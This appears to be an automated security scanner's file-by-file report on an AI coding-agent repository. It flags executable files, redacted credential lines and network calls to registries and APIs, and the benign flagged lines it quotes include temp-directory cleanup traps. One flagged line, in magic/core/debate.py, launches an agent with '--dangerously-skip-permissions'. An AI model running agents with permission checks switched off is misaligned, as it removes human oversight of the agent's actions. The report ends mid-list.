  • Executable scriptline 1
    Executable file

loki-ts/src/runner/sdk_invoker.ts

  • Executable scriptline 1
    Executable file
  • Access to secretsline 8
    [Credential-related source omitted]
  • Access to secretsline 115
    [Credential-related source omitted]
  • Access to secretsline 163
    [Credential-related source omitted]
  • Access to secretsline 168
    [Credential-related source omitted]
  • Access to secretsline 175
    [Credential-related source omitted]
  • Access to secretsline 223
    [Credential-related source omitted]
  • Access to secretsline 228
    [Credential-related source omitted]
  • Network accessline 294
    const DEFAULT_BASE_URL = "https://api.anthropic.com";
  • Access to secretsline 317
    [Credential-related source omitted]

loki-ts/src/runner/sdk_mode.ts

  • Executable scriptline 1
    Executable file

loki-ts/src/runner/sdk_stream_parser.ts

  • Executable scriptline 1
    Executable file

loki-ts/src/runner/session_resume.ts

  • Executable scriptline 1
    Executable file

loki-ts/src/runner/state.ts

  • Executable scriptline 1
    Executable file

loki-ts/src/runner/stop_checks.ts

  • Executable scriptline 1
    Executable file

loki-ts/src/runner/trim.ts

  • Executable scriptline 1
    Executable file

loki-ts/src/runner/types.ts

  • Executable scriptline 1
    Executable file
  • Access to secretsline 13
    [Credential-related source omitted]

loki-ts/src/runner/watchdog.ts

  • Executable scriptline 1
    Executable file

loki-ts/src/runner/worker_proc.ts

  • Executable scriptline 1
    Executable file
  • Access to secretsline 60
    [Credential-related source omitted]

loki-ts/src/supply/supply_guard.ts

  • Executable scriptline 1
    Executable file

loki-ts/src/util/already_done_evidence.ts

  • Executable scriptline 1
    Executable file

loki-ts/src/util/anti_loop.ts

  • Executable scriptline 1
    Executable file

loki-ts/src/util/app_probe.ts

  • Executable scriptline 1
    Executable file

loki-ts/src/util/atomic.ts

  • Executable scriptline 1
    Executable file

loki-ts/src/util/base_guard.ts

  • Executable scriptline 1
    Executable file
  • Network accessline 37
    const ex = explicit?.trim();   if (ex && !ex.startsWith("loki/")) {     fetch(ex);
  • Network accessline 38
    if (ex && !ex.startsWith("loki/")) {     fetch(ex);     for (const c of [`origin/${ex}`, ex]) if (exists(repoDir, c)) return { ref: c, source: "flag" };
  • Network accessline 39
    fetch(ex);
  • Network accessline 44
    const names = [head ? head.replace(/^origin\//, "") : "", "main", "master"].filter((n) => n !== "");   for (const n of names) if (exists(repoDir, `origin/${n}`) || exists(repoDir, n)) {     fetch(n);
  • Network accessline 45
    for (const n of names) if (exists(repoDir, `origin/${n}`) || exists(repoDir, n)) {     fetch(n);     if (exists(repoDir, `origin/${n}`)) return { ref: `origin/${n}`, source: "remote-default" };
  • Network accessline 46
    fetch(n);

loki-ts/src/util/check_result.ts

  • Executable scriptline 1
    Executable file
  • Dangerous shell operationline 674
    trap 'rm -rf -- "\${out:?}"' EXIT

loki-ts/src/util/child_ledger.ts

  • Executable scriptline 1
    Executable file

loki-ts/src/util/claude_model.ts

  • Executable scriptline 1
    Executable file

loki-ts/src/util/colors.ts

  • Executable scriptline 1
    Executable file
  • Network accessline 2
    // Used by parity tests to normalize output across bash/bun routes. // // v7.4.3 fix (BUG-15): honor the NO_COLOR convention (https://no-color.org).
  • Network accessline 3
    // // v7.4.3 fix (BUG-15): honor the NO_COLOR convention (https://no-color.org). // When NO_COLOR is set in the env (any non-empty value), all constants
  • Network accessline 4
    // v7.4.3 fix (BUG-15): honor the NO_COLOR convention (https://no-color.org).
  • Network accessline 24
    export const BOLD = color("\x1b[1m"); export const DIM = color("\x1b[2m"); export const NC = color("\x1b[0m");
  • Network accessline 26
    export const NC = color("\x1b[0m");

loki-ts/src/util/composite_seal.ts

  • Executable scriptline 1
    Executable file

loki-ts/src/util/conflict_resume.ts

  • Executable scriptline 1
    Executable file

loki-ts/src/util/context_pack.ts

  • Executable scriptline 1
    Executable file

loki-ts/src/util/cost_breakdown.ts

  • Executable scriptline 1
    Executable file

loki-ts/src/util/cost_profile.ts

  • Executable scriptline 1
    Executable file

loki-ts/src/util/credential_env.ts

  • Executable scriptline 1
    [Credential-related source omitted]
  • Access to secretsline 1
    [Credential-related source omitted]
  • Access to secretsline 2
    [Credential-related source omitted]
  • Access to secretsline 5
    [Credential-related source omitted]
  • Access to secretsline 9
    [Credential-related source omitted]
  • Access to secretsline 10
    [Credential-related source omitted]

loki-ts/src/util/dashboard_page.ts

  • Executable scriptline 1
    Executable file
  • Network accessline 71
    }   function loadVersion() {     fetch("/version").then(function (r) { return r.json(); }).then(function (v) {
  • Network accessline 72
    function loadVersion() {     fetch("/version").then(function (r) { return r.json(); }).then(function (v) {       document.getElementById("version").textContent =
  • Network accessline 73
    fetch("/version").then(function (r) { return r.json(); }).then(function (v) {
  • Network accessline 84
    }   function loadRuns() {     fetch("/api/runs").then(function (r) { return r.json(); }).then(function (runs) {
  • Network accessline 85
    function loadRuns() {     fetch("/api/runs").then(function (r) { return r.json(); }).then(function (runs) {       var ul = document.getElementById("runs");
  • Network accessline 86
    fetch("/api/runs").then(function (r) { return r.json(); }).then(function (runs) {

loki-ts/src/util/deprecated_alias.ts

  • Executable scriptline 1
    Executable file

loki-ts/src/util/dotnet_test.ts

  • Executable scriptline 1
    Executable file

loki-ts/src/util/engine_origin.ts

  • Executable scriptline 1
    Executable file
  • Network accessline 34
    const perms = repo["permissions"]; if (!perms || typeof perms !== "object" || typeof perms.push !== "boolean") return null;   const name = repoSlug.split("/")[1] ?? ""; // compare root: the repo itself when we can push to it, else the calle
  • Network accessline 35
    const name = repoSlug.split("/")[1] ?? ""; // compare root: the repo itself when we can push to it, else the caller's fork (default fork name = repo name); null when the fork owner is unknown   const mk = (mode: PublishMode, reason: string 
  • Network accessline 36
    const mk = (mode: PublishMode, reason: string | null, instead: string): PublishPlan => { const compare = mode === "branch" ? `https://github.com/${repoSlug}/compare` : mode === "fork_branch" && login ? `https://github.com/${login}/${name}/c

loki-ts/src/util/failure_memory.ts

  • Executable scriptline 1
    Executable file

loki-ts/src/util/first_run_repo.ts

  • Executable scriptline 1
    Executable file

loki-ts/src/util/funnel.ts

  • Executable scriptline 1
    Executable file

loki-ts/src/util/group_integrate.ts

  • Executable scriptline 1
    Executable file

loki-ts/src/util/holdout.ts

  • Executable scriptline 1
    Executable file

loki-ts/src/util/intent_card.ts

  • Executable scriptline 1
    Executable file

loki-ts/src/util/js_resolve.ts

  • Executable scriptline 1
    Executable file

loki-ts/src/util/lock_ecosystems.ts

  • Executable scriptline 1
    Executable file

loki-ts/src/util/modernize_coordinator.ts

  • Executable scriptline 1
    Executable file

loki-ts/src/util/modernize_unit.ts

  • Executable scriptline 1
    Executable file
  • Network accessline 49
    /** Fetch repo@ref into an empty dest. The fresh repo has no config of its own, so the one token-bearing call (fetch) cannot run  *  repo-defined code; checkout then runs token-free with safe_git's blanked drivers. Throws with the git reaso
  • Network accessline 50
    *  repo-defined code; checkout then runs token-free with safe_git's blanked drivers. Throws with the git reason on failure. */ export function fetchRepoRef(repo: string, ref: string, dest: string, urlFor: (repo: string) => string = (r) => `
  • Network accessline 51
    export function fetchRepoRef(repo: string, ref: string, dest: string, urlFor: (repo: string) => string = (r) => `https://github.com/${r}.git`): void {   const io = { stdio: ["ignore", "pipe", "pipe"] as ["ignore", "pipe", "pipe"], timeout: 

loki-ts/src/util/mutation_proof.ts

  • Executable scriptline 1
    Executable file

loki-ts/src/util/one_line_goal.ts

  • Executable scriptline 1
    Executable file

loki-ts/src/util/outbox.ts

  • Executable scriptline 1
    Executable file

loki-ts/src/util/paths.ts

  • Executable scriptline 1
    Executable file

loki-ts/src/util/pr_lessons.ts

  • Executable scriptline 1
    Executable file
  • Network accessline 114
    async function ghText(gh: GhClient, args: string[]): Promise<string> {   const r = await gh(args);   if (r.code === 127) throw new GhError("gh CLI not found. Install GitHub CLI (https://cli.github.com) and run `gh auth login`.");
  • Network accessline 115
    const r = await gh(args);   if (r.code === 127) throw new GhError("gh CLI not found. Install GitHub CLI (https://cli.github.com) and run `gh auth login`.");   if (r.code !== 0) {
  • Network accessline 116
    if (r.code === 127) throw new GhError("gh CLI not found. Install GitHub CLI (https://cli.github.com) and run `gh auth login`.");
  • Network accessline 193
    const rejected = !meta.merged_at && meta.state === "closed" && process.env["LOKI_LESSONS_REJECTED"] === "1";   if (!meta.merged_at && !rejected) throw new GhError(`${ref} is not merged; lessons are only learned from merged PRs.`);   const p
  • Network accessline 194
    if (!meta.merged_at && !rejected) throw new GhError(`${ref} is not merged; lessons are only learned from merged PRs.`);   const prUrl = meta.html_url ?? `https://github.com/${pr.repo}/pull/${pr.num}`;   let inline = parsePages(await ghText(
  • Network accessline 195
    const prUrl = meta.html_url ?? `https://github.com/${pr.repo}/pull/${pr.num}`;

loki-ts/src/util/producer_fingerprint.ts

  • Executable scriptline 1
    Executable file

loki-ts/src/util/python.ts

  • Executable scriptline 1
    Executable file

loki-ts/src/util/python_build_check.ts

  • Executable scriptline 1
    Executable file
  • Dangerous shell operationline 99
    const r = await exec(argv, { cwd, timeoutMs, env: {} });
  • Dangerous shell operationline 112
    const importable = (await exec(["python3", "-c", "import pytest"], { cwd, timeoutMs: 30_000, env: {} })).exitCode === 0;
  • Dangerous shell operationline 148
    const r = await exec(
  • Access to secretsline 157
    [Credential-related source omitted]
  • Access to secretsline 159
    [Credential-related source omitted]
  • Access to secretsline 163
    [Credential-related source omitted]
  • Dangerous shell operationline 200
    const r = await exec(["npm", "run", "build", "--if-present"], { cwd: tree, timeoutMs, env: TOKEN_FREE_ENV });

loki-ts/src/util/receipt_bundle.ts

  • Executable scriptline 1
    Executable file
  • Dangerous shell operationline 96
    trap 'rm -rf "$tmp"' EXIT

loki-ts/src/util/receipt_signer.ts

  • Executable scriptline 1
    Executable file
  • Access to secretsline 56
    [Credential-related source omitted]
  • Network accessline 258
    try {     const target = `${url.replace(/\/+$/, "")}/.well-known/loki-provenance.json`;     const res = await fetch(target, { signal: AbortSignal.timeout(PROVENANCE_TIMEOUT_MS), redirect: "error" });
  • Network accessline 259
    const target = `${url.replace(/\/+$/, "")}/.well-known/loki-provenance.json`;     const res = await fetch(target, { signal: AbortSignal.timeout(PROVENANCE_TIMEOUT_MS), redirect: "error" });     if (res.status !== 200) return { problem: `fet
  • Network accessline 260
    const res = await fetch(target, { signal: AbortSignal.timeout(PROVENANCE_TIMEOUT_MS), redirect: "error" });
  • Network accessline 305
    /** `loki verify --url https://host [--expect-sha SHA] [--receipt FILE] [--pubkey FILE]` and `--sign-provenance FILE`. Null when neither flag is present. */

loki-ts/src/util/receipt_surface.ts

  • Executable scriptline 1
    Executable file

loki-ts/src/util/redact.ts

  • Executable scriptline 1
    Executable file
  • Access to secretsline 3
    [Credential-related source omitted]
  • Access to secretsline 57
    [Credential-related source omitted]

loki-ts/src/util/relevance.ts

  • Executable scriptline 1
    Executable file

loki-ts/src/util/reviewer_brief.ts

  • Executable scriptline 1
    Executable file

loki-ts/src/util/run_cap.ts

  • Executable scriptline 1
    Executable file

loki-ts/src/util/run_control.ts

  • Executable scriptline 1
    Executable file

loki-ts/src/util/run_identity.ts

  • Executable scriptline 1
    Executable file

loki-ts/src/util/run_outputs.ts

  • Executable scriptline 1
    Executable file

loki-ts/src/util/run_pid.ts

  • Executable scriptline 1
    Executable file

loki-ts/src/util/run_shape.ts

  • Executable scriptline 1
    Executable file

loki-ts/src/util/run_summary.ts

  • Executable scriptline 1
    Executable file
  • Access to secretsline 72
    [Credential-related source omitted]
  • Dangerous shell operationline 262
    const rm = f.requirements === undefined ? readJson(join(f.repoDir, ".loki", "state", "requirements-map.json")) as { requirements?: HandoffInput["requirements"] } | null : { requirements: f.requirements }; // the in-memory map of THIS run wi

loki-ts/src/util/runner_boot.ts

  • Executable scriptline 1
    Executable file
  • Dangerous shell operationline 9
    [Credential-related source omitted]
  • Access to secretsline 9
    [Credential-related source omitted]

loki-ts/src/util/safe_git.ts

  • Executable scriptline 1
    Executable file
  • Network accessline 106
    // a partial-clone lazy fetch (GIT_NO_LAZY_FETCH below) would run core.sshCommand / proxy / askpass on any read of a missing object

loki-ts/src/util/satisfaction.ts

  • Executable scriptline 1
    Executable file

loki-ts/src/util/seal_drift.ts

  • Executable scriptline 1
    Executable file

loki-ts/src/util/secure_scan.ts

  • Executable scriptline 1
    Executable file

loki-ts/src/util/shell.ts

  • Executable scriptline 1
    Executable file

loki-ts/src/util/skill_checks.ts

  • Executable scriptline 1
    Executable file

loki-ts/src/util/slack_events.ts

  • Executable scriptline 1
    Executable file
  • Access to secretsline 35
    [Credential-related source omitted]
  • Network accessline 36
    if (!url || !secret) return;   const body = JSON.stringify(webhookPayload(event, f));   try { await fetch(url, { method: "POST", headers: { "content-type": "application/json", "x-loki-signature": signWebhookBody(secret, body) }, body }); }
  • Network accessline 37
    const body = JSON.stringify(webhookPayload(event, f));   try { await fetch(url, { method: "POST", headers: { "content-type": "application/json", "x-loki-signature": signWebhookBody(secret, body) }, body }); }   catch (e) { process.stderr.wr
  • Network accessline 38
    try { await fetch(url, { method: "POST", headers: { "content-type": "application/json", "x-loki-signature": signWebhookBody(secret, body) }, body }); }
  • Network accessline 45
    const send = async () => {     if (!url) return;     try { await fetch(url, { method: "POST", headers: { "content-type": "application/json" }, body: JSON.stringify(slackPayload(event, f)) }); }
  • Network accessline 46
    if (!url) return;     try { await fetch(url, { method: "POST", headers: { "content-type": "application/json" }, body: JSON.stringify(slackPayload(event, f)) }); }     catch (e) { process.stderr.write(`engine10: slack notify failed: ${String
  • Network accessline 47
    try { await fetch(url, { method: "POST", headers: { "content-type": "application/json" }, body: JSON.stringify(slackPayload(event, f)) }); }

loki-ts/src/util/spec_file.ts

  • Executable scriptline 1
    Executable file

loki-ts/src/util/stack_tools.ts

  • Executable scriptline 1
    Executable file
  • Network accessline 9
    export const STACK_TOOLS: Partial<Record<RunnerName, { tool: string; wrapper?: string; install: string }>> = {   maven: { tool: "mvn", wrapper: "mvnw", install: "install Apache Maven (https://maven.apache.org/install.html) or add the mvnw w
  • Network accessline 10
    maven: { tool: "mvn", wrapper: "mvnw", install: "install Apache Maven (https://maven.apache.org/install.html) or add the mvnw wrapper to the repo" },
  • Network accessline 11
    gradle: { tool: "gradle", wrapper: "gradlew", install: "install Gradle (https://gradle.org/install/) or add the gradlew wrapper to the repo" },   javac: { tool: "javac", install: "install a JDK (https://adoptium.net)" },   dotnet: { tool: "
  • Network accessline 12
    javac: { tool: "javac", install: "install a JDK (https://adoptium.net)" },   dotnet: { tool: "dotnet", install: "install the .NET SDK (https://dotnet.microsoft.com/download)" }, };
  • Network accessline 13
    dotnet: { tool: "dotnet", install: "install the .NET SDK (https://dotnet.microsoft.com/download)" },

loki-ts/src/util/steer.ts

  • Executable scriptline 1
    Executable file

loki-ts/src/util/term_width.ts

  • Executable scriptline 1
    Executable file

loki-ts/src/util/test_file_text.ts

  • Executable scriptline 1
    Executable file

loki-ts/src/util/test_guard.ts

  • Executable scriptline 1
    Executable file

loki-ts/src/util/tier.ts

  • Executable scriptline 1
    Executable file
  • Network accessline 14
    import { YELLOW, NC } from "./colors.ts";
  • Access to secretsline 37
    [Credential-related source omitted]

loki-ts/src/util/ts_signatures.ts

  • Executable scriptline 1
    Executable file

loki-ts/src/util/update_check.ts

  • Executable scriptline 1
    Executable file
  • Network accessline 18
    const REGISTRY_URL = "https://registry.npmjs.org/loki-mode/latest";
  • Network accessline 21
    // A failed fetch (offline, timeout) is remembered this long so an offline
  • Network accessline 128
    async function fetchLatest(): Promise<string | null> {   try {     const res = await fetch(REGISTRY_URL, {
  • Network accessline 129
    try {     const res = await fetch(REGISTRY_URL, {       signal: AbortSignal.timeout(FETCH_TIMEOUT_MS),
  • Network accessline 130
    const res = await fetch(REGISTRY_URL, {
  • Network accessline 256
    write(       `Loki Mode upgraded ${seen} -> ${current}. ` +         `What is new: https://github.com/asklokesh/loki-mode/releases/tag/v${current}\n`,
  • Network accessline 257
    `Loki Mode upgraded ${seen} -> ${current}. ` +         `What is new: https://github.com/asklokesh/loki-mode/releases/tag/v${current}\n`,     );
  • Network accessline 258
    `What is new: https://github.com/asklokesh/loki-mode/releases/tag/v${current}\n`,

loki-ts/src/util/wall_cases.ts

  • Executable scriptline 1
    Executable file

loki-ts/src/util/wall_knobs.ts

  • Executable scriptline 1
    Executable file

loki-ts/src/util/wall_owned.ts

  • Executable scriptline 1
    Executable file

loki-ts/src/util/yaml_key.ts

  • Executable scriptline 1
    Executable file

loki-ts/src/version.ts

  • Executable scriptline 1
    Executable file

lokistore/__init__.py

  • Executable scriptline 1
    Executable file

lokistore/base.py

  • Executable scriptline 1
    Executable file

lokistore/cloud.py

  • Executable scriptline 1
    Executable file
  • Access to secretsline 87
    [Credential-related source omitted]
  • Access to secretsline 250
    [Credential-related source omitted]
  • Access to secretsline 251
    [Credential-related source omitted]

lokistore/factory.py

  • Executable scriptline 1
    Executable file
  • Access to secretsline 41
    [Credential-related source omitted]
  • Access to secretsline 44
    [Credential-related source omitted]
  • Access to secretsline 51
    [Credential-related source omitted]
  • Access to secretsline 54
    [Credential-related source omitted]
  • Access to secretsline 57
    [Credential-related source omitted]
  • Access to secretsline 60
    [Credential-related source omitted]
  • Access to secretsline 63
    [Credential-related source omitted]
  • Access to secretsline 169
    [Credential-related source omitted]
  • Access to secretsline 174
    [Credential-related source omitted]
  • Access to secretsline 186
    [Credential-related source omitted]

lokistore/local.py

  • Executable scriptline 1
    Executable file

magic/__init__.py

  • Executable scriptline 1
    Executable file

magic/core/__init__.py

  • Executable scriptline 1
    Executable file

magic/core/debate.py

  • Executable scriptline 1
    Executable file
  • Access to secretsline 136
    [Credential-related source omitted]
  • Instruction override signalline 495
    [Credential-related source omitted]
  • Access to secretsline 495
    [Credential-related source omitted]
  • Instruction override signalline 496
    return ["--permission-mode", "plan"]             return ["--dangerously-skip-permissions"]         finally:
  • Instruction override signalline 497
    return ["--dangerously-skip-permissions"]
  • Access to secretsline 512
    [Credential-related source omitted]

magic/core/design_tokens.py

  • Executable scriptline 1
    Executable file

magic/core/freshness.py

  • Executable scriptline 1
    Executable file

magic/core/generator.py

  • Executable scriptline 1
    Executable file
  • Access to secretsline 166
    [Credential-related source omitted]
  • Access to secretsline 182
    [Credential-related source omitted]

magic/core/memory_bridge.py

  • Executable scriptline 1
    Executable file

magic/core/prd_scanner.py

  • Executable scriptline 1
    Executable file

magic/core/registry.py

  • Executable scriptline 1
    Executable file

magic/core/spec.py

  • Executable scriptline 1
    Executable file

magic/registry/schema.json

  • Network accessline 1
    {   "$schema": "http://json-schema.org/draft-07/schema#",
  • Network accessline 2
    "$schema": "http://json-schema.org/draft-07/schema#",

mcp/__init__.py

  • Executable scriptline 1
    Executable file

mcp/_sdk_loader.py

  • Executable scriptline 1
    #!/usr/bin/env python3

mcp/cp_tools.py

  • Executable scriptline 1
    Executable file
  • Access to secretsline 7
    [Credential-related source omitted]
  • Access to secretsline 45
    [Credential-related source omitted]
  • Access to secretsline 46
    [Credential-related source omitted]
  • Network accessline 84
    def go(path: str, query: Dict[str, str]) -> Tuple[int, bytes]:         qs = urllib.parse.urlencode(query)         req = urllib.request.Request(base_url + path + ("?" + qs if qs else ""), method="GET")
  • Network accessline 85
    qs = urllib.parse.urlencode(query)         req = urllib.request.Request(base_url + path + ("?" + qs if qs else ""), method="GET")         req.add_header("Accept", "application/json, text/plain")
  • Network accessline 86
    req = urllib.request.Request(base_url + path + ("?" + qs if qs else ""), method="GET")
  • Access to secretsline 104
    [Credential-related source omitted]

mcp/learning_collector.py

  • Executable scriptline 1
    Executable file

mcp/lsp_proxy.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Access to secretsline 1369
    [Credential-related source omitted]
  • Access to secretsline 1520
    [Credential-related source omitted]
  • Access to secretsline 1554
    [Credential-related source omitted]
  • Access to secretsline 1580
    [Credential-related source omitted]
  • Access to secretsline 1584
    [Credential-related source omitted]
  • Network accessline 1588
    import uvicorn     logger.info("MCP Streamable HTTP listening on http://%s:%d/mcp", host, port)
  • Network accessline 1589
    logger.info("MCP Streamable HTTP listening on http://%s:%d/mcp", host, port)

mcp/magic_tools.py

  • Executable scriptline 1
    Executable file

mcp/managed_tools.py

  • Executable scriptline 1
    Executable file

mcp/server.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Access to secretsline 709
    [Credential-related source omitted]
  • Access to secretsline 2264
    [Credential-related source omitted]
  • Access to secretsline 2265
    [Credential-related source omitted]
  • Access to secretsline 2266
    [Credential-related source omitted]
  • Access to secretsline 2315
    [Credential-related source omitted]
  • Access to secretsline 2334
    [Credential-related source omitted]
  • Access to secretsline 3495
    [Credential-related source omitted]
  • Access to secretsline 3534
    [Credential-related source omitted]
  • Access to secretsline 3560
    [Credential-related source omitted]
  • Access to secretsline 3564
    [Credential-related source omitted]
  • Network accessline 3568
    import uvicorn     logger.info("MCP Streamable HTTP listening on http://%s:%d/mcp", host, port)
  • Network accessline 3569
    logger.info("MCP Streamable HTTP listening on http://%s:%d/mcp", host, port)
  • Access to secretsline 3612
    [Credential-related source omitted]
  • Access to secretsline 3646
    [Credential-related source omitted]

mcp/v10_tools.py

  • Executable scriptline 1
    Executable file
  • Access to secretsline 24
    [Credential-related source omitted]
  • Access to secretsline 32
    [Credential-related source omitted]
  • Access to secretsline 224
    [Credential-related source omitted]

memory/__init__.py

  • Executable scriptline 1
    Executable file

memory/app_graph.py

  • Executable scriptline 1
    Executable file
  • Access to secretsline 94
    [Credential-related source omitted]
  • Access to secretsline 95
    [Credential-related source omitted]
  • Access to secretsline 96
    [Credential-related source omitted]
  • Access to secretsline 97
    [Credential-related source omitted]

memory/consolidation.py

  • Executable scriptline 1
    Executable file

memory/cross_project.py

  • Executable scriptline 1
    Executable file

memory/embeddings.py

  • Executable scriptline 1
    Executable file
  • Access to secretsline 96
    [Credential-related source omitted]
  • Access to secretsline 97
    [Credential-related source omitted]
  • Access to secretsline 98
    [Credential-related source omitted]
  • Access to secretsline 161
    [Credential-related source omitted]
  • Access to secretsline 162
    [Credential-related source omitted]
  • Access to secretsline 163
    [Credential-related source omitted]
  • Access to secretsline 164
    [Credential-related source omitted]
  • Access to secretsline 165
    [Credential-related source omitted]
  • Access to secretsline 166
    [Credential-related source omitted]
  • Access to secretsline 194
    [Credential-related source omitted]
  • Access to secretsline 195
    [Credential-related source omitted]
  • Access to secretsline 196
    [Credential-related source omitted]
  • Access to secretsline 197
    [Credential-related source omitted]
  • Access to secretsline 198
    [Credential-related source omitted]
  • Access to secretsline 199
    [Credential-related source omitted]
  • Access to secretsline 200
    [Credential-related source omitted]
  • Access to secretsline 201
    [Credential-related source omitted]
  • Access to secretsline 202
    [Credential-related source omitted]
  • Access to secretsline 203
    [Credential-related source omitted]
  • Access to secretsline 254
    [Credential-related source omitted]
  • Access to secretsline 255
    [Credential-related source omitted]
  • Access to secretsline 256
    [Credential-related source omitted]
  • Access to secretsline 679
    [Credential-related source omitted]
  • Access to secretsline 684
    [Credential-related source omitted]
  • Access to secretsline 703
    [Credential-related source omitted]
  • Access to secretsline 754
    [Credential-related source omitted]
  • Access to secretsline 762
    [Credential-related source omitted]
  • Access to secretsline 767
    [Credential-related source omitted]
  • Access to secretsline 788
    [Credential-related source omitted]
  • Access to secretsline 829
    [Credential-related source omitted]
  • Access to secretsline 836
    [Credential-related source omitted]
  • Access to secretsline 844
    [Credential-related source omitted]
  • Access to secretsline 849
    [Credential-related source omitted]
  • Access to secretsline 867
    [Credential-related source omitted]
  • Access to secretsline 908
    [Credential-related source omitted]
  • Access to secretsline 993
    [Credential-related source omitted]
  • Access to secretsline 997
    [Credential-related source omitted]
  • Access to secretsline 1004
    [Credential-related source omitted]
  • Access to secretsline 1008
    [Credential-related source omitted]
  • Access to secretsline 1015
    [Credential-related source omitted]
  • Access to secretsline 1020
    [Credential-related source omitted]
  • Access to secretsline 1024
    [Credential-related source omitted]

memory/engine.py

  • Executable scriptline 1
    Executable file

memory/error_log.py

  • Executable scriptline 1
    Executable file

memory/ingest.py

  • Executable scriptline 1
    Executable file
  • Access to secretsline 76
    [Credential-related source omitted]
  • Access to secretsline 85
    [Credential-related source omitted]
  • Access to secretsline 90
    [Credential-related source omitted]
  • Access to secretsline 123
    [Credential-related source omitted]
  • Access to secretsline 138
    [Credential-related source omitted]
  • Access to secretsline 454
    [Credential-related source omitted]

memory/knowledge_graph.py

  • Executable scriptline 1
    Executable file

memory/layers/__init__.py

  • Executable scriptline 1
    Executable file

memory/layers/index_layer.py

  • Executable scriptline 1
    Executable file

memory/layers/loader.py

  • Executable scriptline 1
    Executable file

memory/layers/timeline_layer.py

  • Executable scriptline 1
    Executable file

memory/managed_memory/__init__.py

  • Executable scriptline 1
    Executable file
  • Access to secretsline 53
    [Credential-related source omitted]
  • Access to secretsline 54
    [Credential-related source omitted]

memory/managed_memory/_beta.py

  • Executable scriptline 1
    Executable file

memory/managed_memory/client.py

  • Executable scriptline 1
    Executable file
  • Access to secretsline 9
    [Credential-related source omitted]
  • Access to secretsline 21
    [Credential-related source omitted]
  • Access to secretsline 39
    [Credential-related source omitted]
  • Access to secretsline 40
    [Credential-related source omitted]
  • Access to secretsline 49
    [Credential-related source omitted]
  • Access to secretsline 51
    [Credential-related source omitted]
  • Access to secretsline 68
    [Credential-related source omitted]
  • Access to secretsline 77
    [Credential-related source omitted]

memory/managed_memory/events.py

  • Executable scriptline 1
    Executable file
  • Access to secretsline 54
    [Credential-related source omitted]
  • Access to secretsline 57
    [Credential-related source omitted]
  • Access to secretsline 64
    [Credential-related source omitted]

memory/managed_memory/fakes.py

  • Executable scriptline 1
    Executable file

memory/managed_memory/retrieve.py

  • Executable scriptline 1
    Executable file
  • Access to secretsline 40
    [Credential-related source omitted]
  • Access to secretsline 203
    [Credential-related source omitted]
  • Access to secretsline 340
    [Credential-related source omitted]
  • Access to secretsline 456
    [Credential-related source omitted]

memory/managed_memory/shadow_write.py

  • Executable scriptline 1
    Executable file
  • Access to secretsline 49
    [Credential-related source omitted]

memory/namespace.py

  • Executable scriptline 1
    Executable file
  • Network accessline 248
    # Extract repo name from URL                 # Handle: https://github.com/user/repo.git or git@github.com:user/repo.git
  • Network accessline 249
    # Handle: https://github.com/user/repo.git or git@github.com:user/repo.git

memory/replay.py

  • Executable scriptline 1
    Executable file

memory/retrieval.py

  • Executable scriptline 1
    Executable file

memory/schemas.py

  • Executable scriptline 1
    Executable file

memory/storage.py

  • Executable scriptline 1
    Executable file
  • Access to secretsline 51
    [Credential-related source omitted]
  • Access to secretsline 129
    [Credential-related source omitted]

memory/token_economics.py

  • Executable scriptline 1
    Executable file

memory/unified_access.py

  • Executable scriptline 1
    Executable file

memory/vector_index.py

  • Executable scriptline 1
    Executable file

package-lock.json

  • Network accessline 46
    "node_modules/@anthropic-ai/claude-agent-sdk": {       "version": "0.3.316",       "resolved": "https://registry.npmjs.org/@anthropic-ai/claude-agent-sdk/-/claude-agent-sdk-0.3.316.tgz",
  • Network accessline 47
    "version": "0.3.316",       "resolved": "https://registry.npmjs.org/@anthropic-ai/claude-agent-sdk/-/claude-agent-sdk-0.3.316.tgz",       "integrity": "sha512-mCMr0que5kIy80JslJub6WFDB2+GYRGWNeVgSZaBpkBwXrr4wnRMnnGHitkA2BEJ5QP5xWyc6YH/6do/e
  • Network accessline 48
    "resolved": "https://registry.npmjs.org/@anthropic-ai/claude-agent-sdk/-/claude-agent-sdk-0.3.316.tgz",
  • Network accessline 71
    "node_modules/@anthropic-ai/claude-agent-sdk-darwin-arm64": {       "version": "0.3.316",       "resolved": "https://registry.npmjs.org/@anthropic-ai/claude-agent-sdk-darwin-arm64/-/claude-agent-sdk-darwin-arm64-0.3.316.tgz",
  • Network accessline 72
    "version": "0.3.316",       "resolved": "https://registry.npmjs.org/@anthropic-ai/claude-agent-sdk-darwin-arm64/-/claude-agent-sdk-darwin-arm64-0.3.316.tgz",       "integrity": "sha512-1I1oJ/YGqq4pFQvJqycD2e8pbsUQLLR+DwEzG9jQAGCoSKkxP1TBfHp
  • Network accessline 73
    "resolved": "https://registry.npmjs.org/@anthropic-ai/claude-agent-sdk-darwin-arm64/-/claude-agent-sdk-darwin-arm64-0.3.316.tgz",
  • Network accessline 84
    "node_modules/@anthropic-ai/claude-agent-sdk-darwin-x64": {       "version": "0.3.316",       "resolved": "https://registry.npmjs.org/@anthropic-ai/claude-agent-sdk-darwin-x64/-/claude-agent-sdk-darwin-x64-0.3.316.tgz",
  • Network accessline 85
    "version": "0.3.316",       "resolved": "https://registry.npmjs.org/@anthropic-ai/claude-agent-sdk-darwin-x64/-/claude-agent-sdk-darwin-x64-0.3.316.tgz",       "integrity": "sha512-gzNncKrID/6yJIKCAuF/pY1kfygQZ4dU0J+MNFl0bU+iQW65ERoIyoghYVf
  • Network accessline 86
    "resolved": "https://registry.npmjs.org/@anthropic-ai/claude-agent-sdk-darwin-x64/-/claude-agent-sdk-darwin-x64-0.3.316.tgz",
  • Network accessline 97
    "node_modules/@anthropic-ai/claude-agent-sdk-linux-arm64": {       "version": "0.3.316",       "resolved": "https://registry.npmjs.org/@anthropic-ai/claude-agent-sdk-linux-arm64/-/claude-agent-sdk-linux-arm64-0.3.316.tgz",
  • Network accessline 98
    "version": "0.3.316",       "resolved": "https://registry.npmjs.org/@anthropic-ai/claude-agent-sdk-linux-arm64/-/claude-agent-sdk-linux-arm64-0.3.316.tgz",       "integrity": "sha512-+lm9XSw/em14yMZ41fbo80kfblbylfBQc9nYS6GgLoZVvgT3wSeEbv88v
  • Network accessline 99
    "resolved": "https://registry.npmjs.org/@anthropic-ai/claude-agent-sdk-linux-arm64/-/claude-agent-sdk-linux-arm64-0.3.316.tgz",
  • Network accessline 113
